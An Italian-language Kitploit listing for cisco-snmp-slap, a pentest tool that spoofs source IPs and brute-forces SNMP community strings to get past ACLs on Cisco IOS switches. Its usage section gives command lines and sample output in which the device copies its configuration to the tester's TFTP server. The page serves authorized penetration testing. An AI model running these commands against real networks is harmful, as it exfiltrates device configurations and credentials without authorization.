Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Cisco-SNMP-Slap — Strumento di spoofing IP e brute-forcing delle community string SNMP per bypassare le ACL sui dispositivi Cisco IOS ed esfiltrare i file di configurazione tramite TFTP. | Kitploit
Strumenti/GitHubGitHub/nccgroup/cisco-snmp-slap
Attacchi alle PasswordAnalisi delle VulnerabilitàExploitRaccolta InformazioniSicurezza di RetePenetration TestingRed Teaming
GitHubnccgroup/cisco-snmp-slap

Cisco-SNMP-Slap

Strumento di spoofing IP e brute-forcing delle community string SNMP per bypassare le ACL sui dispositivi Cisco IOS ed esfiltrare i file di configurazione tramite TFTP.

Vedi Repository
581511 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

PANORAMICA

cisco-snmp-slap utilizza lo spoofing degli indirizzi IP per aggirare un'ACL che protegge un servizio SNMP su un dispositivo Cisco IOS.

Tipicamente lo spoofing IP ha un uso limitato negli attacchi reali al di fuori dei DoS. Nessun servizio TCP può completare l'handshake iniziale. I pacchetti UDP sono più facili da spoofare, ma il pacchetto di ritorno viene spesso inviato all'indirizzo sbagliato, il che rende difficile raccogliere qualsiasi informazione restituita.

Tuttavia, se un attaccante riesce a indovinare la community string SNMP rw e un indirizzo sorgente valido, può impostare le MIB SNMP. Uno degli usi più ovvi è far sì che un servizio SNMP Cisco invii il proprio file di configurazione IOS a un altro dispositivo.

Questo strumento consente di provare una o più community string contro un dispositivo Cisco da uno o più indirizzi IP. Quando si specificano gli indirizzi IP, è possibile scegliere di iterare in modo sequenziale o casuale su un intervallo di indirizzi sorgente.

Per specificare un intervallo di indirizzi IP sorgente da controllare, vengono forniti un indirizzo sorgente iniziale e una maschera IP. Tutti i bit impostati nella maschera IP verranno utilizzati per generare indirizzi IP sorgente modificando l'indirizzo sorgente iniziale.

Ad esempio, se viene fornito un indirizzo sorgente 10.0.0.0 con una maschera IP 0.0.0.255, lo script esplorerà gli indirizzi da 10.0.0.0 a 10.0.0.255.

I bit impostati non devono essere sequenziali come in una maschera di sottorete. Ad esempio, la maschera 0.128.1.255 è valida ed esplorerà gli intervalli 10.0,128.0-1.0-255.

Quando si controlla un intervallo di indirizzi IP in modo casuale o sequenziale, è necessario inserire il percorso della directory root TFTP. Lo script controllerà questa directory per verificare se il file è stato trasferito con successo.

Questo strumento è stato scritto per colpire gli switch Cisco di livello 3 durante i pentest, anche se potrebbe avere altri usi. Funziona bene contro questi dispositivi perché:

  1. gli switch di livello 3 raramente hanno la verifica del percorso inverso configurata, secondo l'esperienza dell'autore
  2. non ci sono router o altri dispositivi che possano rilevare che lo spoofing IP sta avvenendo.

Tuttavia, spero che gli utenti trovino altri usi interessanti per questo script e per il suo codice sorgente.

UTILIZZO

In questo esempio prenderò un semplice dispositivo IOS con una lista di accesso che protegge un servizio SNMP usando la community string 'cisco'

root@kitploit:~
access-list 10 permit 10.100.100.0 0.0.0.255
snmp-server community cisco rw 10

L'indirizzo IP di un dispositivo IOS è 10.0.0.1

Il pentester ha un indirizzo IP 10.0.0.2 e ha avviato un server TFTP.

Se il tester conosce tutti questi dati, usa la modalità singola "one shot" per recuperare il file di configurazione del dispositivo. Es.:

root@kitploit:~
./slap.py single cisco 10.0.0.2 10.100.100.100 10.0.0.1

Se il tester non conosce i dettagli, può provare a indovinare. Diciamo che il tester ha fatto un po' di ricognizione e ha scoperto che tutti gli indirizzi interni sono nell'intervallo 10.0.0.0/8.

root@kitploit:~
./slap.py seqmask private 10.0.0.2 10.0.0.0 0.255.255.0 10.0.0.1 /tftproot/

Questo comando esaminerà tutte le /24; il tester spera di risparmiare tempo assumendo che a un'intera sottorete sarà consentito l'accesso piuttosto che a un singolo indirizzo IP.

root@kitploit:~
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask cisco 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap,  v0.3
Darren McDonald, [email protected]

WARNING: No route found for IPv6 destination :: (no default route?)
Community String:   cisco
TFTP Server IP  :   10.0.0.2
Source IP:          10.0.0.5
Source Mask:        0.255.255.0
Destination IP:     10.0.0.1
TFTP Root Path:     /tftproot//cisco-config.txt
10.0.0.5
10.0.1.5
10.0.2.5
< ... cut for brevity ... >
10.100.99.255
10.100.100.0
10.100.100.1
10.100.100.2
10.100.100.3
10.100.100.4
10.100.100.5
10.100.100.6
Success!

Dovreste notare che il programma termina e annuncia il successo diversi indirizzi IP dopo essere entrato nell'intervallo 10.100.100.0/24. Questo perché non è possibile determinare quale indirizzo sorgente abbia avuto successo, ma si determina che una delle richieste ha avuto successo dopo che il file di configurazione compare nella directory tftproot. Dato che avete appena recuperato la configurazione in esecuzione, ora potete scoprire voi stessi i dettagli dell'ACL.

Invece di specificare una singola community string, puoi anche fornire un elenco da utilizzare. I nomi delle modalità sono gli stessi, tranne per il suffisso '_l'.

Ad esempio, per ripetere lo stesso attacco usando un elenco di community string in list.txt, si devono usare i seguenti argomenti.

root@kitploit:~
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask_l list.txt 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap,  v0.3
Darren McDonald, [email protected]

WARNING: No route found for IPv6 destination :: (no default route?)
Community File: list.txt
TFTP Server IP  :   10.0.0.2
Source IP:  10.0.0.5
Source Mask:0.255.255.0
Destination IP: 10.0.0.1
TFTP Root Path: /tftproot//cisco-config.txt
community strings loaded:  ['private\n', 'cisco\n', 'public\n']
10.0.0.5 /  private
10.0.0.5 /  cisco
10.0.0.5 /  public
10.0.1.5 /  private
10.0.1.5 /  cisco
10.0.1.5 /  public
10.0.2.5 /  private
10.0.2.5 /  cisco
10.0.2.5 /  public
10.0.3.5 /  private
10.0.3.5 /  cisco
10.0.3.5 /  public

Ora ogni indirizzo IP viene controllato con ogni community string in list.txt.

SUPPORTO

Per quanto riguarda i linguaggi di programmazione, Python è un linguaggio semplice, facile da leggere e scrivere, e ti incoraggio a provare a fare debug e correggere qualsiasi problema tu trovi e a inviarmi le tue modifiche così posso condividerle con altri utenti sul GitHub di NCC.

Ma se hai bisogno di assistenza puoi contattarmi all'indirizzo [email protected]. Farò del mio meglio per aiutarti, ma tieni presente che non sono uno sviluppatore a tempo pieno (cosa che dovrebbe essere ovvia dal mio codice!) e potrei non avere immediatamente tempo da dedicare alla tua richiesta.

VERSIONI

  • 0.1 Versione iniziale
  • 0.2 Aggiunte modalità casuale e sequenziale e maschere per gli indirizzi sorgente
  • 0.3 aggiunta la funzionalità di elenco di community string da file, prima versione pubblica
  • 0.3.1 ora usa os.sep per far funzionare correttamente i percorsi su Windows
Scarica lo strumento